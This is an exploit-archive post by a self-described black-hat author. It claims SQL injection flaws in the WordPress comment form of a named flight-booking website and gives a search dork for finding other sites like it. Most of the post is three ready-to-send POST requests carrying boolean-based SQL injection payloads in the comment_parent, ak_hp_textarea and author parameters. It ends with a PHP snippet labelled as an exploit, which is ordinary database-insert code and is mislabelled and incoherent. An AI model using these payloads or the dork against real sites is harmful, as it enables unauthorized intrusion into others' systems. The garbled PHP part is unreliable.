Change Mirror Download
This site which has a security problem with the SQL INJECTION Vulnerability "CWE-89".
We have repeatedly reported to this site that it has a security problem and has ignored our report.
We want to record this security issue
#########################################################################################################################
# #
# Exploit Title : Site Flight agency airpol the Islamic Republic of Iran SQL INJECTION Vulnerability #
# #
# Author : E1.Coders #
# #
# Contact : E1.Coders [at] Mail [dot] RU #
# #
# Portal Link : https://flightio.com/ #
# #
# Security Risk : Medium #
# #
# Description : All target's IRanian AIRPOT websites #
# #
# DorK : "inurl:wp-comments-post.php%5Eauthor=" #
# #
#########################################################################################################################
# #
# Expl0iTs: #
#
# vuln type : SQLInjection
#
# refer address : https://flightio.com/blog/attractions/best-chahbahar-attractions/
#
# request type : POST
#
# action url : https://flightio.com/blog/wp-comments-post.php^author=6463106&submit=ارسال دیدگاه&comment_post_ID=64505&akismet_comment_nonce=385c7c306e&ak_js=98&comment=WCRTEXTAREATESTINPUT8462957&ak_hp_textarea=WCRTEXTAREATESTINPUT2557057&comment_parent=0
#
# parameter : comment_parent
#
# description : POST SQL INJECTION BooleanBased String
#
# POC : https://flightio.com/blog/wp-comments-post.php^author=6463106&submit=ارسال/**/دیدگاه&comment_post_ID=64505&akismet_comment_nonce=385c7c306e&ak_js=98&comment=WCRTEXTAREATESTINPUT8462957&ak_hp_textarea=WCRTEXTAREATESTINPUT2557057&comment_parent=0%27/**/aNd/**/7462200=7462200/**/aNd/**/%276199%27=%276199
---------------------------------------
#
# Expl0iTs:
# vuln type : SQLInjection
#
# refer address : https://flightio.com/blog/travel-tips/norouz-holiday-trips-in-iran/
#
# request type : POST
#
# action url : https://flightio.com/blog/wp-comments-post.php^author=9640811&submit=ارسال دیدگاه&comment_post_ID=3173&comment_parent=0&akismet_comment_nonce=709cdb3e84&ak_js=154&comment=WCRTEXTAREATESTINPUT9791191&ak_hp_textarea=WCRTEXTAREATESTINPUT8111319
#
# parameter : ak_hp_textarea
#
# description : POST SQL INJECTION BooleanBased String
#
# POC : https://flightio.com/blog/wp-comments-post.php^author=9640811&submit=ارسال/**/دیدگاه&comment_post_ID=3173&comment_parent=0&akismet_comment_nonce=709cdb3e84&ak_js=154&comment=WCRTEXTAREATESTINPUT9791191&ak_hp_textarea=WCRTEXTAREATESTINPUT8111319%27)/**/aNd/**/4442431=4442431/**/aNd/**/(%276199%27)=(%276199
------------------------------------------------
# # Expl0iTs:
# vuln type : SQLInjection
#
# refer address : https://flightio.com/blog/travel-tips/hormuz-island-travel-guide/
#
# request type : POST
#
# action url : https://flightio.com/blog/wp-comments-post.php^submit=ارسال دیدگاه&comment_post_ID=64267&comment_parent=0&akismet_comment_nonce=57b7866a2c&ak_js=15&comment=WCRTEXTAREATESTINPUT9752286&ak_hp_textarea=WCRTEXTAREATESTINPUT5571116&author=99999999
#
# parameter : author
#
# description : POST SQL INJECTION BooleanBased String
#
# POC : https://flightio.com/blog/wp-comments-post.php^submit=ارسال/**/دیدگاه&comment_post_ID=64267&comment_parent=0&akismet_comment_nonce=57b7866a2c&ak_js=15&comment=WCRTEXTAREATESTINPUT9752286&ak_hp_textarea=WCRTEXTAREATESTINPUT5571116&author=99999999%27)/**/oR/**/6197419=6197419/**/aNd/**/(%276199%27)=(%276199 #
#########################################################################################################################
# #
# | Security Is JOCK | #
# #
# | Russian Black Hat | #
# #
#########################################################################################################################
Exploit PHP :
global $wpdb;
$author = '99999999';
$comment = 'WCRTEXTAREATESTINPUT9752286';
$ak_hp_textarea = 'WCRTEXTAREATESTINPUT5571116';
$wpdb->prepare(
"INSERT INTO wp_comments (comment_post_ID, comment_author, comment_content, comment_parent, akismet_comment_nonce, ak_js, author) VALUES (%d, %s, %s, %d, %s, %d, %d)",
$comment_post_ID, $comment_author, $comment_content, $comment_parent, $akismet_comment_nonce, $ak_js, $author
);
$wpdb->insert('wp_comments', array(
'comment_post_ID' => $comment_post_ID,
'comment_author' => $comment_author,
'comment_content' => $comment_content,
'comment_parent' => $comment_parent,
'akismet_comment_nonce' => $akismet_comment_nonce,
'ak_js' => $ak_js,
'author' => $author
));
